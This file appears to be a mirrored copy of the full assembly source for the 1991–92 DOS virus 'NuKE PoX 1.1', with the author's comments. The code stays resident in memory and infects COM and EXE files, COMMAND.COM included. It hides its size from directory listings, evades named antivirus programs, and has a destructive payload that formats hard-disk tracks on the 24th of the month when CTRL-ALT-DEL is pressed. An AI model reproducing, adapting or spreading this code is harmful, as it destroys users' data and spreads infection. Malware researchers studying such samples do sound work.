mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 00:18:34 +00:00
498 lines
37 KiB
NASM
498 lines
37 KiB
NASM
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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;-* (c) Rock Steady, Viral Developments -*
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;*- (c) NuKE Software Developement 1991, 1992 *-
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;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -*
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;*- ~~~~~~ *-
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;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -*
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;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *-
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;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -*
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;*- Bytes: 963 Bytes Memory: 963 Bytes *-
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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virus_size equ last - init_virus
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mut1 equ 3
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mut2 equ 1
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mut3 equ 103h
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del_code equ 53h
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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rocko proc far
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start: jmp init_virus
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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; Virus Begins Here...
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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init_virus:
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call doit_now ;Doit VirusMan...
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doit_now: pop bp ;Not to Lose Track
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sub bp,106h ;Set our position
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push ax ;Save all the registers
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push bx
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push cx
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push dx
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push si
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push di
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push bp
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push es
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push ds
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mov ax,7bcdh ;Are we resident Already?
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int 21h
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cmp bx,7bcdh ;Yupe... Quit Then...
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je exit_com
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xor bx,bx
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push cs ;Get CS=DS
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pop ds
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mov cx,es
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mov ax,3509h ;Hook Int 9 Please...
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int 21h
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mov word ptr cs:[int9+2][bp],es
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mov word ptr cs:[int9][bp],bx
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mov ax,3521h ;Sometimes tend to intercept
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int 21h ;This Interrupt...
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mov word ptr cs:[int21+2][bp],es ;Save the Int
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mov word ptr cs:[int21][bp],bx ;Vector Table
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dec cx ;Get a new Memory block
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mov es,cx ;Put it Back to ES
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mov bx,es:mut1
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mov dx,virus_size ;Size to `Hide'
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mov cl,4 ;And all this crap hides
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shr dx,cl ;your number od bytes in DX
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add dx,4
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mov cx,es
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sub bx,dx
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inc cx
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mov es,cx
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mov ah,4ah ;Call int to do it...
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int 21h
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jc exit_com
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mov ah,48h
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dec dx
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mov bx,dx ;It's Done... Yeah!
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int 21h
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jc exit_com
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dec ax
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mov es,ax
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mov cx,8h ;Here we move our Virus into
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mov es:mut2,cx ;the `Hidden' memory!
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sub ax,0fh
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mov di,mut3
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mov es,ax
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mov si,bp
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add si,offset init_virus
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mov cx,virus_size
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cld
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repne movsb
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mov ax,2521h ;Restore Int21 with ours
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mov dx,offset int21_handler ;Where it starts
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push es
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pop ds
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int 21h
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mov ax,2509h ;Restore Int9 with ours
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mov dx,offset int9_handler ;The Handler...
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int 21h
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push cs
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pop ds
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exit_com:
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cmp word ptr cs:[buffer][bp],5A4Dh
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je exit_exe_file ;Its an EXE file...
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mov bx,offset buffer ;Its a COM file restore
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add bx,bp ;First three Bytes...
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mov ax,[bx] ;Mov the Byte to AX
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mov word ptr ds:[100h],ax ;First two bytes Restored
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add bx,2 ;Get the next Byte
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mov al,[bx] ;Move the Byte to AL
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mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes
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pop ds
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pop es
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pop bp ;Restore Regesters
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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mov ax,100h ;Jump Back to Beginning
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push ax ;Restores our IP (a CALL
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retn ;Saves them, now we changed
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int21 dd ? ;Our Old Int21
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int9 dd ? ;Our Old Int9
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exit_exe_file:
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mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester
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mov dx,cs
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sub dx,bx
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mov ax,dx
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add ax,word ptr cs:[exe_cs][bp] ;Get original CS
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add dx,word ptr cs:[exe_ss][bp] ;Get original SS
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mov bx,word ptr cs:[exe_ip][bp] ;Get original IP
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mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP
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mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS
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mov ax,word ptr cs:[exe_sp][bp] ;Get original SP
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mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS
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mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP
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pop ds
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pop es
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pop bp
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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db 0B8h ;This is now a MOV AX,XXXX
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Rock_Fix1: ;XXXX is the original SS
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dw 0 ;Our XXXX Value
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cli ;Disable Interrupts
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mov ss,ax ;Mov it to SS
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db 0BCh ;This is now a MOV SP,XXXX
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Rock_Fix2:
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dw 0 ;The XXXX Value for SP
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sti ;Enable interrupts
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db 0EAh ;JMP XXXX:YYYY
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fuck_yeah:
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dd 0 ;Dword IP:CS (Reverse order!
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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; Int 9 Handler
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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int9_handler: ;Every TIME a KEY is pressed
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push ax ;This ROUTINE is called!
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in al,60h ;Has the user attempted a
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cmp al,del_code ;CTRL-ALT-DEL
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je warm_reboot ;Yes! Screw him
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bye_bye: pop ax
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jmp dword ptr cs:[int9] ;Nope, Leave system alone
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warm_reboot:
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mov ah,2ah ;Get Date Please
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int 21h
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cmp dl,18h ;Is it 24th of the Month?
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jne bye_bye ;Yes, bye_Bye HD
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mov ch,0
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hurt_me: mov ah,05h
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mov dh,0
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mov dl,80h ;Formats a few tracks...
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int 13h ;Hurts So good...
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inc ch
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cmp ch,20h
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loopne hurt_me
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db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
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iret
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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; Dir Handler
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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dir_handler:
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pushf
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push cs
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call int21call ;Get file Stats
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test al,al ;Good FCB?
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jnz no_good ;nope
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push ax
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push bx
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push es
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mov ah,51h ;Is this Undocmented? huh...
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int 21h
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mov es,bx
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cmp bx,es:[16h]
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jnz not_infected ;Not for us man...
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mov bx,dx
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mov al,[bx]
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push ax
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mov ah,2fh ;Get file DTA
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int 21h
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pop ax
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inc al
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jnz fcb_okay
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add bx,7h
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fcb_okay: mov ax,es:[bx+17h]
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and ax,1fh ;UnMask Seconds Field
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xor al,1dh ;Is in 58 seconds?
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jnz not_infected ;Nope...
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and byte ptr es:[bx+17h],0e0h
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sub es:[bx+1dh],virus_size ;Yes minus virus size
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sbb es:[bx+1fh],ax
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not_infected: pop es
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pop bx
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pop ax
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no_good: iret
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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; Int 21 Handler
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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int21_handler:
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cmp ax,4b00h ;File executed
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je execute
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cmp ah,11h ;Dir handler
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je dir_handler
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cmp ah,12h ;Next file Dir handler
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je dir_handler
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cmp ax,7bcdh ;Virus testing
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jne int21call
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jmp execute
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int21call:
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jmp dword ptr cs:[int21] ;Split...
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execute:
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push es
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push ds
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cmp ax,7bcdh ;Was Virus testing if it was
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jne continue ;Alive? If No Continue
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push cs
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pop ds ;If Yes, Check if COMMAND.CO
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mov dx,offset command ;Is infected! And return
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jmp continue2
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continue:
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call check_name ;Make sure file executed
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jc exit_now ;Ain't a Anti-Viral program
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continue2: ;With the CRC-32 checkers
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mov ax,4300h ;Get file Attribs
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int 21h
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jc exit
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test cl,1h ;Make sure there normal
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jz open_file ;Okay there are
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and cl,0feh ;Nope, Fix them...
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mov ax,4301h ;Save them now
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int 21h
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jc exit
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open_file: mov ax,3D02h
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int 21h ;Open File to Infect please
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jc exit ;Error Split
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mov bx,ax ;BX File handler
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mov ax,5700h ;Get file TIME + DATE
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int 21h
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mov al,cl
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or cl,1fh ;Un mask Seconds
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dec cx ;60 seconds
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dec cx ;58 seconds
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xor al,cl ;Is it 58 seconds?
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jz exit ;File already infected
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push cs
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pop ds
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mov word ptr ds:[old_time],cx ;Save Time
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mov word ptr ds:[old_date],dx ;Save Date
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mov ah,3Fh
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mov cx,20h
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mov dx,offset ds:[buffer] ;Read first 20h bytes
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int 21h
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jc exit_now ;Error Split
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mov ax,4202h ;Move file pointer to end of
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xor cx,cx ;file...
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xor dx,dx
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int 21h
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jc exit_now ;Error Split
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cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
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je exe_file ;JMP to EXE Infector
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mov cx,ax
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sub cx,3 ;Set the JMP
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mov word ptr cs:[jump_address+1],cx
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call infect_me ;Infect!
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jc exit_now ;error split
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mov ah,40h ;Write back the firs
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mov dx,offset ds:[jump_address] ;bytes
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mov cx,3h
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int 21h
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exit_now:
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mov cx,word ptr cs:[old_time] ;Restore old time
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mov dx,word ptr cs:[old_date] ;Restore Old date
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mov ax,5701h
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int 21h
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exit_now2:
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mov ah,3Eh
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int 21h ;Close File now...
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exit:
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pop ds
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pop es
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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cmp ax,7bcdh ;Virus checking if alive
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jne leave_now ;No, Exit normally
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mov bx,ax ;Yes, Fix BX with codez
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leave_now:
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jmp dword ptr cs:[int21] ;Jmp back to whatever
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exe_file:
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mov cx,word ptr cs:[buffer+20] ;IP Regester
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mov word ptr cs:[exe_ip],cx ;Save IP Regester
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mov cx,word ptr cs:[buffer+22] ;CS Regester
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mov word ptr cs:[exe_cs],cx ;Save CS Regester
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mov cx,word ptr cs:[buffer+16] ;SP Regester
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mov word ptr cs:[exe_sp],cx ;Save SP Regester
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mov cx,word ptr cs:[buffer+14] ;SS Regester
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mov word ptr cs:[exe_ss],cx ;Save SS Regester
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push ax
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push dx
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call multiply ;Figure a new CS:IP
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sub dx,word ptr cs:[buffer+8]
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mov word ptr cs:[buffer+22],dx ;Restore New CS
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mov word ptr cs:[buffer+20],ax ;Restore New IP
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pop dx
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pop ax
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add ax,virus_size
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adc dx,0
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push ax
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push dx
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call multiply ;Figure a new SS:SP
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sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall
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add ax,40h
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mov word ptr cs:[buffer+14],dx ;New SS Pointer
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mov word ptr cs:[buffer+16],ax ;New SP Pointer
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pop dx
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pop ax
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push bx
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push cx
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mov cl,7 ;Fix for Header for
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shl dx,cl ;new file size in 512
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;byte pages
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mov bx,ax
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mov cl,9 ;And the remainder
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shr bx,cl ;after dividing by
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;512...
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add dx,bx
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and ax,1FFh
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jz outta_here
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inc dx
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outta_here:
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pop cx
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pop bx
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mov word ptr cs:[buffer+2],ax ;Save Remainder
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mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag
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call infect_me ;INFECT File! Yeah!
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jc exit_exe
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mov ah,40h ;Write NEW EXE Header back
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mov dx,offset ds:[buffer] ;to EXE File! Points to
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mov cx,20h ;The Virus Now!!! ehhe
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int 21h
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exit_exe:
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jmp exit_now
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rocko endp
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exe_ip dw 0 ;Original IP,CS,SP,SS From EXE
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exe_cs dw 0 ;Header!
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exe_sp dw 0
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exe_ss dw 0
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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; Infection Routine...
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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infect_me proc near
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mov ah,40h ;Write the New Encrypted
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mov dx,offset init_virus ;Virus to File!
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mov cx,virus_size
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int 21h
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jc exit_error ;Error Split
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mov ax,4200h
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xor cx,cx ;Pointer back to beginning
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xor dx,dx ;file!
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int 21h
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jc exit_error ;Split Dude...
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clc ;Clear carry flag
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retn
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exit_error:
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stc ;Set carry flag
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retn
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infect_me endp
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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; Fix EXE Header...Gets new SS, CS Values for EXEs headers
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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multiply proc near
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push bx
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push cx
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mov cl,0Ch
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shl dx,cl
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mov bx,ax
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mov cl,4
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shr bx,cl
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add dx,bx
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and ax,0Fh
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pop cx
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pop bx
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retn
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multiply endp
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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; Check to see if an `Anti-Viral' Product is being executed.
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;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
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check_name proc near
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push si
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push cx
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mov si,dx
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mov cx,128h
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loop_me:
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cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String
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je next_ok
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inc si
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loop loop_me
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next_ok:
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cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT)
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jne next_1 ;Naaa
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cmp ds:[si-4],'RP'
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je bad_file ;Yupe...
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next_1:
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cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee)
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jne next_2 ;Naaa
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cmp ds:[si-4],'CS'
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je bad_file ;Yupe...
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next_2:
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cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE
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jne next_3 ;Naaa
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cmp ds:[si-4],'EL'
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je bad_file ;Yupe...
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next_3:
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pop cx
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pop si ;good file Set CARRY FLAG
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clc ;to normal
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retn
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bad_file:
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pop cx ;Bad file, Set CARRY FLAG
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pop si ;ON!!!
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stc
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retn
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check_name endp
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command db "C:\COMMAND.COM",0 ;What to infect!
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old_time dw ?
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old_date dw ?
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jump_address db 0E9h,90h,90h
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buffer db 90h,0CDh,020h
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db 30h DUP (?)
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msg db "NukE PoX V1.1 - R.S"
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last:
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seg_a ends
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end start
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